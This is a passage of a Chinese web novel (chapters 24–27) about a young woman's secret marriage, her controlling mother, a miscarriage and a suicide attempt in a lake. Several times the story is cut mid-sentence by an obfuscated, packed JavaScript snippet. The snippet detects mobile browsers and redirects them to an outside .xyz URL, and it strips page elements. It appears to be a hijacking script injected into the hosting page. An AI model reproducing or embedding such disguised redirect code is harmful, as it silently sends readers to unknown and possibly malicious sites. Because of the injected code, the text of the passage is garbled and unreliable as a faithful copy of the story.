李十安坐回了原位,在没人注意的时候,偷偷看了身旁的他一眼。咖色圆领卫衣的袖口被推到小臂上。肌肉紧绷结实。隐约有些许松脂香气。 况允驰。 好像是一个特别好的人。 24. 莲藕 产检结束后,高西约吃饭,他们去了餐厅。 那是一次人数较多的高西的生日聚餐,有李十安熟悉的人,也有不熟悉的人。而况允驰是都认识。 他们照例是一前一后走进包间,佯装成陌生人。座位也是分隔较远,一张坐二十人的大圆桌,他们坐在最远端,两人的连线成为圆桌的直径。倒也不是故意要坐这么远的。只是因为到得晚,在座位上,没有选择的余地。 女生坐半边,男生坐另一半。 餐桌太大,很少统一聊天,大多都是和身边的人聊几句。一张圆桌分成了好几个聊天小集团。 况允驰本就话少,基本没怎么开口,只偶尔和右边的时星楠搭话。 一个人只有一个碗。李十安的碗里放过好几片水煮牛肉,沾满了红油。偏偏莲藕鸡汤又是后面才上的,李十安想喝一碗汤,可没多的碗。试过把红汤倒掉,倒不干净,整个碗还是有许多红油。 想要一个多余的干净的碗,又不好意思当着这么多不熟悉的人的面开口提要求。 况允驰抬眸看了一眼,叫来了服务员,低声说了几句。过了两分钟,服务员拿来了干净的汤碗,一人一只。 有碗盛汤了。 李十安喝了一口莲藕鸡汤,不油不腻,温热新鲜。 纸巾没有了。鸡汤洒了一些在筷子上,李十安的筷子拿着不顺手。服务员恰巧不在包间内,估计是去催促新加的两扎核桃汁。她左右找了找,没找到纸巾。 况允驰从靠墙木柜的抽屉里,翻出几沓纸巾,塞进菱形纸巾盒内。把纸巾盒放到转桌上,转出一段距离后,再继续放上另一盒。 纸巾盒转到面前时,李十安抽出了几张,擦拭干净筷子。 她吃一口南瓜饼,咀嚼吞咽。觉得口渴,可杯里已经没有了核桃汁。服务员已经把新加的两扎核桃汁放到墙边木柜上了,但人又跑了,好像是被经理在对讲机里紧急叫走,暂时耽搁一下。她往木柜边看了一眼。想自己倒核桃汁,但光给自己倒,不大好。按照餐桌礼仪,一般得挨着一圈都帮忙倒一下。即便不倒一圈,也至少得倒三分之一。 不是不愿意倒,是不好意思倒。 算了,宁愿不喝。 李十安闷头,继续啃南瓜饼。 况允驰站了起来,拿起一扎核桃汁。从女生那边的许书妍开始,顺时针挨着,给每个女生添满一杯核桃汁。许书妍、李十安、高西……直至添加到钟盈的玻璃杯。 钟盈稍仰头,观察况允驰。 这小子,表现得倒是泰然自若。 待到况允驰坐回原位,钟盈清晰地问了一句。 “允驰,桌上是不是有你喜欢的人?” 一直热闹的餐桌瞬时安静了。 众人的目光集中在了况允驰身上。 况允驰愣了下,“嗯?” 钟盈重述刚才的场景,“你竟然让服务员拿了汤碗。我认识你到现在,从没见你喝过鸡汤。而且你刚才竟然给每个人添了核桃汁。哥,即便和纪总方总吃饭,我也没见你端茶倒水过。” 是挺反常的。听钟盈这么条理清晰地列出来,桌上的人更觉得反常。 他们开始分析况允驰的行为。 “有可能。暗恋,不好意思让对方知道,所以不敢表现得太明显,只有拿其他人当掩护。” “读书时候不就这样,平安夜,为了送喜欢的女生苹果,送了全班女生苹果。” “新鲜事,他还能对女生动心。我以为他这辈子不会谈恋爱。” 分析得太直白了,叫人措手不及,一时不知该怎么回答。 沉默的五秒钟。 甚至能听到包间外的嘈杂。是一个被隔开的、被孤立的空间。如履薄冰。 李十安耳廓有些发红,稍低下头,抑制不住地紧张。 许书妍清嗓,稍显娇羞,把发丝捋向耳后,“可能是喜欢我吧,在公司,他就老是偷看我。” “哈——”周森发出的是震耳欲聋的爆笑,“你?况允驰喜欢你?况允驰,你?” “刚才倒核桃汁,他也是第一个给我倒的!”许书妍恼羞成怒,烦躁地指着况允驰,“不信你问他!” 他们顺着许书妍的指示,看向况允驰。 等待回答。 况允驰靠在椅背上,轻飘飘地应道,“嗯。” 仿佛是逐渐膨胀的泡沫被一下戳破。忽然变得了无生趣。时星楠懒散说道,“不承认还好,一承认,谁信。” 现在的场景是暗恋,人设是青涩男大。谁家青涩男大会把喜欢轻飘飘说出口。 高西咋舌一声,“也可能是我。” 他们的目光又转向高西。 高西解释,“这个周,他每天都送我一杯奶茶。” 其实是最近况允驰带小组成功申请药物专利。他们为了庆祝,起哄让况允驰连续一周请喝奶茶。高西、许书妍、时星楠、周森,全都有份。 周森觉得这个理由不够充分,冒出一句,“还不如直接说是喜欢十安。” 李十安怔住,木讷地眨两下眼睛。 原本热闹的聊天忽然停止了一刻。 许书妍冷笑,“他俩才见过几面,就暗恋上了?” 高西嘀咕,“还不如说暗恋钟盈姐。” 时星楠评价,“刺激,暗恋上司。” 他们带起了节奏,其他人跟着他们的节奏走。 “请问现在是在玩狼人杀吗?” “下一个嫌疑人是谁?小佳?丽娜?” “我刚谈上!不早说,可惜。” 趁着其他人聊得起劲,许书妍紧急拉小群,警告周森。 许书妍:[周森你闭嘴。] 周森:[最危险的才是最安全的。主动把十安混进去,才不会让人猜疑。] 高西:[你这叫自爆。] 时星楠:[确实够刺激。] 许书妍:[下回别邀请周森。] 高西:[正有此意。] 周森:[好!我再也不说话了!我退出!] 许书妍:[小气。] 高西:[确实小气。] 桌上的谈论同时在火热进行,闹闹哄哄,感觉每个人都在说话,接二连三。 偶然遇到一瞬安静的间隙,时星楠淡然说上一句,“也可能是喜欢我。” 谈论暂停,他们又都看向时星楠。 时星楠耸耸肩,“就不能是我么。” 话题走向了意想不到的方向。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正遇红灯,车停下。况允驰看着李十安的肚子,没有伸手。李十安拽着况允驰的手腕,把他的手心贴在她的肚子上。况允驰抿嘴,笑了笑。 绿灯亮起,准备出发。 况允驰似乎是下定了决心,低声说道,“十安,我会一直陪在你身边。” 李十安愣了下。 这……是情话吗? 怎么听着叫人心跳加快。 况允驰又恢复到认真开车的状态。 李十安微微开口,欲言又止。 况允驰问,“怎么了?” “喔……没什么。” 其实是想说一说,今晚餐桌上的事。他们的关系差点暴露。朋友们费尽心思替他们打掩护,这让李十安心里过意不去。所以想问问看,若是索性把他们的关系公之于众,他会有什么想法。本来也不是他们要隐婚的,是长辈们要求的。对于李十安而言,现在觉得,如果对外公布她和况允驰的关系,好像也是一件挺不错的事。 想说的是这个。 但是话到嘴边,又有些不好意思了。 *** 到达车库后,他们上楼,走出电梯。竟看见程菀正站在门外。 出乎意料。 程菀质问,“今天产检,怎么不叫我?这么晚了,怎么才回家?” 问题太多,李十安没来得及回答,略显惊讶地反问,“妈,你怎么在这里?” 程菀拉了把身旁的行李箱。 “我搬过来和你们一起住。” 25. 透气 程菀完全入侵了他们的生活,编织一张密不透风的网。甚至有旁人在场时,程菀也仍旧展露出不容置疑的架势。 谷梁出差途中,路过南汀,顺道来家里看看李十安。一时兴起,事出突然,空手来的,谷梁觉得不大好意思。所以见面的第一句话,谷梁是要请李十安吃小食,“想吃什么?跟三表姐说,保证满足你。” 李十安想了想,抿嘴笑道,“想吃螺蛳粉。” 谷梁一句“没问题”还没说出口,程菀的否认就已经冒了出来,“不许吃。螺丝里面全是寄生虫。别说现在特殊情况不能吃,就是平时也不能吃。” 谷梁想说什么,但因为对方是长辈,于是把话咽了下去。她又问李十安,“还有呢?还想吃什么?” 李十安应道,“奶茶,茉莉雪芽。” 程菀立即否定,“不可以。奶茶里全是糖分,没有一点营养。还不如多喝纯奶。” 心里像被击打一下,李十安的脸色变得沉闷压抑。总是这样,总是在否定。无论说什么,李十安得到的程菀的第一句永远是否定。李十安有些不高兴了。平时这样也就算了,现在有客人在场,还这样,不留一点情面。 谷梁觉得李十安可怜兮兮,试图帮李十安说话,“姨……” “工作忙吗?”程菀问谷梁,“听说又升职了?谷总。” 谷梁笑道,“姨,您别开玩笑了,我那就是随便弄弄。” “大集团,怎么会是随便。” “诶——” “想起之前去你外婆家吃饭,你那么小一个。多大?才读小学?” “是呐,感觉人生一瞬间就过去好多年。” “你那么年轻,在我面前谈人生。” “不年轻,我都三十五啦!” “三十五?完全看不出来。我心里你一直二十出头的样子。” “姨,您这样说话,我都快不好意思了。” 两人聊天正是兴头上,似乎已经忘了李十安还在一旁。被否定的奶茶和螺蛳粉,顺势就被遗忘了。像一件不重要的小事。李十安的需求总是不重要的。 向来如此。 *** 晚上睡觉,原本是风平浪静的。三个人,分别睡三个房间。 李十安半夜起床,去餐边柜前倒水喝。其实卧室里是有恒温纯水的,是况允驰特意为她准备的。但李十安还是想大费周折要绕去餐边柜。 想透口气。 最好能偶遇他。 况允驰恰巧正在喝水,同往常一样。看到李十安后,况允驰熟练地给她倒了一杯温热的纯水。李十安才喝上第一口。程菀来了。 程菀观察李十安和况允驰的神色与姿态,略加思考,说道,“孕期不能同房,知道的吧?” 惊讶,两个人呆在原地。 况允驰回应,“妈,这点分寸我有的。” 倒是相信况允驰懂事这一点。程菀没有再说什么,看了一眼深夜的黢黑的天,催促道,“快回去睡觉。” 李十安放下玻璃杯,独自走回卧室。闷闷不乐。早知道会碰上程菀,她无论如何也不会出门。安静地度过一晚上,就已经很满足了。 谁曾想,李十安刚躺下,门把忽然被人拧开。她吓了一跳,撑起上半身,看见程菀抱着被子走来。 “从现在起,我挨着你睡。” *** 李十安没有睡过一个好觉。只要躺下,程菀对李十安就会有各种各样的要求。 “不要平躺,要侧躺。” “最好是右侧躺。” “把头发放下来,别扎着,要放松头皮。” “睡前少喝点水,半夜就不用起来这么多次。” 和程菀一起睡觉,就像考试一样,正襟危坐,不能有一刻的松懈。憔悴到想呕吐。人哪能天天考试。 李十安趁夜晚上卫生间的间隙,给况允驰发消息:[救我!]发了就收了手机,因为时间紧迫,程菀说不定在卫生间外盯着,没有多余的空隙来等待况允驰的回复。 第二天早上,李十安起床时,终于有机会偷偷翻看手机。况允驰回复了她:[我妈这周五回青山,她来搞定。] 今天是周一,离周五还剩四天,李十安咬牙熬一熬,能挺过去。 虽然白天况允驰上班不在家,剩下李十安和程菀独处,地狱般的幽闭室。但好歹到了晚上七点,况允驰会回家。 起码还有况允驰陪伴。 李十安靠着这点信念支撑着。 可到了下午,况允驰临时回家,带来了一个噩耗。对李十安而言是噩耗,“我马上得出差,去厦门。” 况允驰出差,周一晚上走,周五晚上回。意味着整整四天,不分白天黑夜,连续四个二十四小时,李十安将独自生活在程菀的监控下。 双腿忽然软了。李十安明面上没有表现出什么异样,甚至对况允驰说道,“去吧,没事。”因为即便说有事,公司的已经决定的安排,他也不能说改变就改变。事出突然,肯定是很重要的工作。 还能怎么办。 李十安眼眶有些发红。她及时侧身,没让任何人看到。 *** 半夜不能起床喝水了,连带着白天喝的水也少了许多。李十安站在岛台旁,端起小熊马克杯,喝一口纯水,放下杯子。兴许是错觉,最近觉得这纯水都不如以前好喝了,是一种隐约的苦涩的味道,像是吃西药后再喝水的那种味道,偶尔甚至叫人产生些许干呕的症状。 咽下一口,再喝一口。李十安这边是百无聊赖的没有力气的状态,程菀那边竟搬来一个藤条收纳箱,到餐边柜前开始收拾饮具。 收的全是李十安的茶杯。 米色吸管杯、冰蓝广口杯、胶囊保温杯、枫叶咖啡杯、条纹随行杯、水纹玻璃杯……悉数装进收纳箱里,整整十三个杯子。 “人就一张嘴,怎么会用十三个杯子。”程菀埋怨,“还不算你手上那个。” 李十安想要解释,不是她要用这么多杯子,而是每个杯子都有每个杯子的专门用途。有的泡咖啡,有的泡柠檬水,有的泡茉莉花茶,有的冲麦片,有的装冰饮,还有的需要带出门。可是不用想也知道,解释这么些话,换来的只有程菀的埋怨和教育。 还不如不说。 “我放在这里,没有影响任何人。”李十安有些着急,“你要把它们收到哪里?” “扔了。” “妈!” “放柜子里——”程菀拖长声音,带着一种她在开玩笑而李十安不懂玩笑的语气,“就用你手上那个杯子,其他的放起来,看着糟心。” 程菀搬着箱子兀自离开,徒留李十安在原地,眼眶稍显红润。李十安把剩下的水倒进水槽里,举高手要把杯子重重拍回原位,但在最后一刻却是放缓了力道。 怕发出声响。怕被程菀听见。怕被说。 *** 能找到的唯一的躲避空间,是卫生间。李十安坐在马桶上,哪怕只是看牙膏上的说明文字,也比待在外面强。 待了五分钟,程菀在外面敲门,“十安,还没好?” “喔……马上。”李十安嘴上说着马上,实际屁股没有挪动一下。 就这样又赖了五分钟。 程菀再一次来敲门,焦急问道,“十安?没事吧?是不是哪里不舒服?” “啊……有点拉肚子。”李十安胡诌。 程菀声音慌了些,“严不严重?快收拾一下,我们去医院看看。” 李十安克制住郁闷的心情,“没事,估计是喝了点冰水。” 程菀埋怨,“让你别喝冰水,你就是不听!” “好了,现在没事了。”李十安简单整理,装作若无其事的模样,走出了卫生间。 当然面对的又是一顿教育,李十安选择不听,起码能让自己好受一些。 *** 午饭吃了,犯困,李十安独自回卧室,小睡了一觉。已经睡熟了,甚至正在做梦,梦见门锁响起解锁的声音,李十安跑去一看,况允驰就站在门外。 高兴极了。 “你怎么回来了?”李十安迎上去。心里还在盘算,明明昨天晚上才走,怎么今天中午就回来了。 况允驰应道,“因为……” 梦里的况允驰还没说完话。 “十安。十安。”程菀凑近来呼唤着,拍了拍李十安的肩膀。 李十安被吓一跳,猛然从睡梦中睁开眼睛,“嗯?” 程菀问,“还拉肚子吗?” “没……我睡觉呢,我拉什么肚子?” “现在好些了吗?” 李十安心里冒起一股怨气,“妈,我在睡觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506217|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你把我叫醒,就为了问我拉没拉肚子?” 程菀念叨,“不能小看这个问题,怀孕期间任何事情都不稳定,一点情况都要及时处理。” “我现在没情况。”李十安已经懒得争辩了,“你放心,我好得很。” 程菀确认,“真的?没有不舒服?” “没有,有的话我会跟你说的。” “好。”程菀替李十安盖好被子,“你继续睡吧。”她走出房间,关上门,还给李十安一个午睡的空间。 李十安重新闭上眼睛。胸腔里的怒气疯狂滋长蔓延,连呼吸都变得不顺畅。 服了。 莫名其妙把人叫醒,完了又叫人继续睡。这谁睡得着。 李十安猛然掀开被子,大口喘气。 况允驰正巧打来了电话。 李十安接通电话,低声应一句,“喂。” 听声音感觉含糊。况允驰猜测,“在睡觉?” “没有。”李十安的语气不大友好。 现在感觉像是有些生气。况允驰问,“是不是哪里不舒服?” “没有!我说没有!怎么每个人都觉得我不舒服!到底烦不烦!”李十安的怒气一下子宣泄出口。从没有过的生硬与严肃。 电话那头沉默了。 忽然变得安静。 李十安意识到了不对劲,语气和缓下来,“抱歉,最近有些烦躁。” “不是你的错。”况允驰说道,“十安,对我不用抱歉。” 想说的是,是他没做好。但这样的话说出口,怕她会有负担。 *** 李十安调整情绪,打开卧室的门。程菀在做下午茶,看样子是没听到刚才卧室里的那番爆发。这样就好。不然会引来更大的麻烦。现在只求安静度过这一天。李十安坐到餐桌边。 程菀端来一杯热牛奶,一盘水果,包含芒果、凤梨、桂圆、荔枝。“牛奶补钙,水果也要多吃。”程菀剥好的一盘荔枝推到李十安面前,“妃子笑,贵着呢,一百二一斤,买了五斤,全给你。” 也不是吃荔枝的季节,非要搞反季水果,花那么些冤枉钱。她还得感谢她。 程菀盯着李十安,“多吃。” 李十安咬一口荔枝肉。怎么个多吃法。她讨厌吃荔枝。她让她多吃的东西,她都讨厌。 硬着头皮咽下荔枝,并且努力表现出喜欢。“妈。”李十安说道,“我的论文被抽检了,待会儿得回学校修改一下。” 表面说得云淡风轻,实际内心多少有些紧张。 因为她说的全是谎话。 “怎么偏偏抽中你?真是倒霉。”程菀嘀咕,“导师让你回去的?” “嗯。”李十安咀嚼着荔枝肉,“可能耽搁的时间久,你不用等我。” “怎么可能不等你。”程菀想了想,“这样,我准备点礼物,你顺便给导师带去。我就在你们楼下小树林那个石桌旁等你,有事给我打电话。” 李十安试图挣扎,“不用,等结束我再给你打电话。” “那不行,我得一直等着,不然不放心。”程菀说,“没我在,遇到事情,你怎么处理的了。” 程菀做好了决定,李十安改变不了。李十安明白,这已经是能争取到的最好的处境了。 *** 李十安在教室里,特意摆了一台笔记本,打开论文页面。 按照程菀的性格,说不定会悄悄上楼,偷看论文修改情况。如果没看到导师,李十安就说导师临时有事耽搁。如果问论文如何,李十安就说小问题而已,快要改好了。总之,无论程菀问什么,李十安都有能回答的。 一切准备就绪,剩余的时间,用来独自放空。宁愿坐在教室独自放空,也不愿意回到那个家。 夜晚的教室灯光明亮,透出一点冰凉。窗外,路灯攀登到树枝里,照耀出一团绿色的星云。 李十安不知盯着看了多久。 尿意来袭,似乎有一丝暖流缓缓流出。李十安起身,去了趟卫生间。 脱下裤子,看见了鲜红色的血迹。 晕眩。眼花。手好像有些颤抖。 穿好裤子,扶着墙,打开卫生间的门。 走廊上,况允驰正跑上楼梯,向她跑来。 “十安!” 李十安双腿发软,忽然倒了下去。 26. 烂漫 李十安想看看它的照片,“你们拍了对不对?” 况允驰否认,“没拍。” “骗子。”李十安躺在病床上,一滴眼泪从眼角滑落,流到耳朵里,凉凉的。她问,“是不是特别可爱?” 况允驰没有回答。 李十安又问,“长得像你还是像我?”眼泪太多,包裹住眼眶,黏黏糊糊,睁眼也变得困难。 况允驰拿纸巾替李十安轻轻擦眼泪。一直擦。 不知不觉间睡着了。 *** 李十安醒来时,况允驰仍坐在病床边,在笔记本上忙碌。窗外已是黄昏。淡淡的黄色阳光洒向万物。李十安不太能分清时间,“你没去上班?” “申请了居家办公。”况允驰在键盘上快速按动几下,最后关掉电脑,收进包里。 李十安侧躺着,用被子裹住脑袋,“其实不用这样。” 不用为了她,把一切都按暂停。生活还要继续的,不是吗。 “工作在哪做都一样。”况允驰把凳子挪近一些,“饿不饿?” 李十安摇头。其实一整天也没吃什么东西,但就是没有一点胃口。 好像睡了一整天。 睡了还好,时间是空白的,度过了就度过了。可只要醒来,脑海里不受控制地,又想起它。眼眶湿润了。总是在哭。 “对不起,没保护好它。” 让它悄无声息地遭受苦难。 李十安的声音微弱,颤抖。 况允驰神情严肃,“不可以说这样的话。” 它的事情,是多方因素的结果。身体素质、胚胎优胜劣汰、流感病毒,或是其他。胎停,常见的现象。或许是命中注定,怪不了任何人。 况允驰用指腹抹去李十安的眼泪,“专心修养,你的身体最重要。” 李十安缩进被窝里,只露出两只眼睛。两只湿漉漉的眼睛。 他甚至不大敢看。 *** 睡了一小觉。醒来时,天空是深邃的蓝色,天际线上有一条窄窄的橘色的余光。 李十安躺得累了,想坐起来歇一歇。况允驰小心搀扶,替李十安整理好枕头,把床头部分调整得高一些。 李赟进来了,带来了大大小小的好些慰问品,过于隆重。 李十安问,“爸,这都是什么?” “楼下碰到许书妍,他们给的。”李赟把慰问品放到墙餐边柜子里。柜子里已经有许多慰问品了,塞得满满当当。 李十安问,“他们是谁?” “许书妍给了一些,我妈他们给了一些,三表姐给了一些,高西他们给了一些。”况允驰告诉李十安,“他们想来看你,我怕你费力社交,擅自做主回绝了。” 她确实没有力气社交。每来一个客人看望,她就得挤出代表基本礼貌的微笑,说着“没事”、“好多了”、“还好”之类的违心的话。 她一点都不好。 李十安应道,“嗯。” 李赟摁下床头的通话按铃,试了下,线路顺畅。他叮嘱李十安,“有什么不舒服的,就用这个联系护士。我们托冯医生帮忙,给护士站的说了下,1302单间的病人,她们会留心照顾。” 李十安点头,“嗯。” 门外,程菀敲了敲门,走进来了。 李十安下意识地侧头,朝向另一边,没看程菀一眼。当然知道这样做是不对的,但心里克制不住地想这样做。 程菀坐到了病床边。 沉默。 然后是程菀熟悉的语调,“十安,孩子没了没关系,还会再有的,我们不着急。你现在重要的是要好好调养身体,慢慢恢复……” 李十安打断了程菀。 “你可不可以不要说话。” 瞬间安静了。沉重的安静。 李十安索性躺下床,背对着程菀,拿被子彻底盖住脑袋。把自己隔绝在狭小的黑暗的空间。起码好受一些。 被子外似乎有些动静。有低声说话的气音。有脚步声。 过了些许时候,况允驰轻轻拍了拍被子,“他们走了。” 李十安仍然没有钻出被窝。 况允驰抽了几张纸巾,从缝隙里塞进被窝。李十安接了过去。 又流了眼泪。 明明不停告诫自己,不要哭不要哭。可怎么偏偏这样不争气。 *** 第二天,一整天,程菀完全没有出现。 李赟早中晚各来过一趟,给李十安和况允驰送做好的便当。“你们总不能吃外卖吧。特别是十安,要吃点有营养的东西。” 病床餐桌上摆满了大大小小的碗碟。李十安看着李赟忙碌,又看一眼病房门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516613|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 没有看见熟悉的人影。 好几次想要问出口,“我妈呢?”但都没好意思问。 其实不用问也能猜到,因为昨天的事,程菀肯定生气了。不就是李十安说了句,叫程菀不要说话嘛,有什么大不了的。每次都是这样,只允许程菀巴拉巴拉地说,不允许李十安反驳一句。甚至只要稍稍带一点反驳的意思,程菀就会生气,发火。 根本没有理性讨论的空间。 真烦。 *** 大多数时候,病房里只剩下况允驰一个陪护的人。 居家办公。遇到视频会议的时候,他会在病房外走廊的座椅上进行,守着李十安,也可以避免打扰李十安休息。 李十安独自躺在床上,盯着窗外发呆。 下雨了,断断续续的雨滴,被风吹成倾斜的形状。打在玻璃窗上,成为一朵水花。 电话响了起来。陌生号码。李十安接通了电话,“喂?” 电话那头是洪亮的陌生的男人声音,“喂,你好,李十安是吗?你的快递到了,我给你放到驿站,空了记得取,取件码我马上发你短信。有什么问题打这个电话联系我就行。” 李十安第一反应是她没买过东西。第二反应才猛然想起来。 买过。给它买的。衣服,袜子,帽子,被单。原本是迎接新生的一切。 李十安点开了购买页面。 没有勇气看页面图片,可爱的衣服图案是一把刺刀。视线略过,直接摁下退款按钮。退还也曾期待过的一切。 李十安下床,想去外面走动一下。一直躺着,人都要躺废了。 打开门,发现况允驰不在门外,不过笔记本倒是在的,安静地待在椅子上。估计是去找个更安静的地方开会了吧。毕竟是医院,人来人往,嘈杂吵闹。 李十安走出了门。 没有目的地乱逛。不知不觉逛出了医院,逛到医院对面的公园里。 花开得烂漫,春风十里,花瓣飘舞。 雨仍在下,淅淅沥沥。湖面出现点点闪烁。 李十安站在拱桥上,边缘处。 没带伞,发丝有了湿润的痕迹。雨水,湖泊,清凉的风,融为一体。 她闭上眼睛,纵身一跃。 “十安!” 他狂奔而来,跃入湖中。 27. 鲜花 发高烧,四十度度五。昏昏沉沉,连续两天。总是迷迷糊糊睡去,断断续续醒来。李十安每次醒来时,况允驰都守在床边。什么也不做,光是陪着她。 终于遇到稍微和缓的时候,李十安感觉精神有些好转,能保持较长时间的清醒状态。只是没胃口,只能吃点流食,红枣桂圆粥。 况允驰舀一勺热粥,喂给李十安。李十安低头抿了一口。她笑,“我自己来吧,手还没残废。” 拿着勺子,咬下剩下的热粥。想起况允驰一直守在病床边的事,心里有些过意不去。李十安问,“你又申请居家办公了?” 况允驰回应,“那个不重要。” 不重要吗。为了她,已经耽搁很久了吧。原本只用照顾那几天的,结果发生跳湖这件事,又要多耽搁他好几天了吧。 为什么跳湖。李十安也说不清楚。就像爬上山巅的人,处于高耸入云之境,云海翻腾,旷野深渊。张开双臂,腾空而起。 一瞬间的念头。 情难自已的冲动。 “幸亏是跳湖。”李十安开玩笑,“如果是跳楼,那岂不彻底完蛋。” 况允驰神情严肃,“真跳了我怎么办。”语气好像过于冰冷了。 李十安扯了扯况允驰的衣袖,笑道,“这辈子再也不跳了。” 经过这么一遭,说实话,她觉得无论发生什么,还是生命最重要。 *** 晚上睡眠充足,李十安几乎一觉睡到天亮。白天醒来时,总是第一时间看到况允驰,寸步不离守在床边。除此之外,一日三餐的时间点,李赟总是准时出现,带来丰盛的饭菜。 李十安以为,这五天的实际情况真就和表面看到的一样。 直到第六天,李十安半夜醒来,看见病床旁,一边是况允驰,一边是程菀。李十安继续闭上眼睛睡觉。后来断断续续又醒过两次,看到的场景一模一样。 天快亮的时候,李十安迷迷糊糊间,听到程菀用极其细微的气音,对况允驰说话,“允驰,我先走了,麻烦你照顾好她。” 李十安眼睛睁开一条缝隙。看见程菀蹑手蹑脚走出了病房。 原来这几天一直是这样么。 李十安假装睡着。稍侧身一些,没让其他人发现她流了一滴眼泪。 *** 和程菀之间,其实可以不用这样的。 李十安十岁以前,程菀是一个非常开明的妈妈。给她零花钱。别人一天只有一块两块的时候,她一天就有十块左右。 允许她吃冰淇淋。别人一个礼拜才能吃一次,一次只能吃几口,她可以天天吃,一口气吃一整支。 允许她外出找朋友玩。别人晚上七点前必须回家,她可以随便玩到多久,不管多远不管多晚,程菀都会去接她回家。 和现在完全相反的教育模式。截然不同的生活。李十安记忆清晰。 怎么转变的呢?好像只能怪李十安不争气。 零花钱太多,李十安被隔壁班高年级的人盯上。放学后,走出教室,被人拽到厕所里,搜刮了身上所有的钱。 一个女孩,小小的身影,蜷缩在厕所角落里哭泣。 程菀找了老师、校长、警察,把霸凌李十安的人挨个揪出来,“敢动我女儿?”她用一种愤怒的、凶恶的方式对待霸凌者,让他们道歉,甚至下跪。一些愈发出格的举动,在关键时刻被警察拦截下来。 冰淇淋吃太多,并且其中混合着辣条、彩虹糖,李十安的牙齿长得变了样,几乎每颗后槽牙上都有蛀牙。同时止不住地拉肚子,一天上七八次厕所。上半夜脸色苍白,下半夜脸色红润,发高烧。 代价是花了大价钱做牙齿正畸,花了更大的价钱住院,治疗腹泻与发烧。整整一个礼拜,程菀不分昼夜守在李十安身边,偷偷哭过好几次。 出去玩得乐不思蜀,从东街的小伙伴家,玩到西街的同学家。李十安直到十点才想起来要回家。天太黑,迷了路。 程菀去东街找,没找到。去西街找,没找到。回家找,没找到。一路大声呼叫,最后去派出所报警。 几辆警车在月影镇街道上穿梭不停。李十安趴在窗户上看热闹。 找到凌晨三点,程菀绝望地回到家,发现李十安正躺在沙发上,睡得很熟。发火。抑制不住的怒火。程菀第一次打了李十安。 寂寥的夜开始沸腾。 在深夜的谩骂声与哭泣求饶声中,程菀明白了一个道理——从现在起,李十安的一举一动,必须在程菀的掌控之中。 庇护她成长。 她完全没办法离开她。 这样的观念逐渐根深蒂固,并且持续了那么些年,没有任何一点会更改的迹象。李十安今年二十六岁,仍旧过着这种生活。 可什么时候才是个头。 *** 李十安心里总是惦记着这个事。她知道了,程菀只在夜晚出现,只在自己看不见的时候出现。 早上没问,中午没问。熬到下午两三点,李赟收拾东西回家去准备晚餐时,跨出病房的那一刻,李十安才终于忍不住开口,“我妈呢?” 李赟顿了顿,“她……在家。要她来?” 李十安挪开视线,没有回答。 没有勇气回答。 李赟试探性问了一句,“那晚上换她来送饭?” 李十安低下了头。 李赟似乎懂得了李十安的意思,语气也变得轻快,“那我先回家做饭去。” *** 晚上,程菀来了。 起初李赟和况允驰在场,说几句家常,气氛还不至于太冷淡。后来他们识趣地找借口离开,病房里就只剩下程菀和李十安两个人。 单间病房,只剩她们两个人,真够尴尬的。 透过眼睛余光,李十安看得清楚,程菀的眼睛很肿,或许是因为黑眼圈、眼袋,也或者是因为其他原因导致的浮肿。程菀擦了粉底,很厚的一块,比耳朵要白一个度,为了遮盖住浮肿的眼睛。近乎于浓妆了。很罕见,李十安几乎没见过程菀浓妆的模样。 程菀有些手足无措,缓了缓,把病床餐桌搭建好,把便当盒整起摆放,一个个挨着打开盒盖。“炒了青椒鸡肉,炖了番茄牛腩。素菜的话,有拔丝土豆和煮南瓜。”程菀向李十安介绍,“水果餐盘也带来了。什么水果都有,挑你喜欢吃的,不喜欢的我们就不吃。” 李十安没动筷。 程菀补充,“菜也是,挑喜欢的吃。如果不合胃口,就告诉我想吃什么,我马上去弄。”她把筷子搭在碗上,示意李十安吃饭。不敢有言语上的催促。 李十安浏览一圈饭菜,确实没胃口。她仰头,“不想吃家里炒的菜,我要吃外卖。” 程菀愣了下,拿出手机,“好,我马上给你点。” 从来没有允许过李十安吃外卖的,也一向觉得外卖是很脏的东西,不屑一顾。这样的程菀,手机里怎么会有外卖APP。李十安问,“你会点?” 程菀已经打开了APP页面,“找允驰学过。”学过的,每天都在练习,已经勉强称得上熟练。程菀问,“你想吃什么?” 李十安不假思索,“螺蛳粉。” 程菀手指停顿一下,“那……微辣的可以吗?”医生曾经叮嘱过,辛辣的不利于身体恢复。 李十安想了想,点头,“嗯。” 下单,选择微辣,并在备注一栏详细标注:[螺蛳一定煮熟!尽量少放辣,再单独打包一袋辣椒油,我们自己放,谢谢。]付款,完成操作。程菀又问,“还想吃什么?” 李十安鼓起勇气,理直气壮地回答,“奶茶。” “奶茶我知道的,茉莉雪芽是吧?”程菀搜索出李十安喜欢的品牌,“去冰的可以吗……或者常温?”医生也曾叮嘱过,尽量别碰冰的东西。 李十安顿了下,应道,“嗯,常温。” 下单,大杯,付款。程菀再问,“还有呢?” 李十安思考一阵,指一下身前的桌子,“水果吧。” 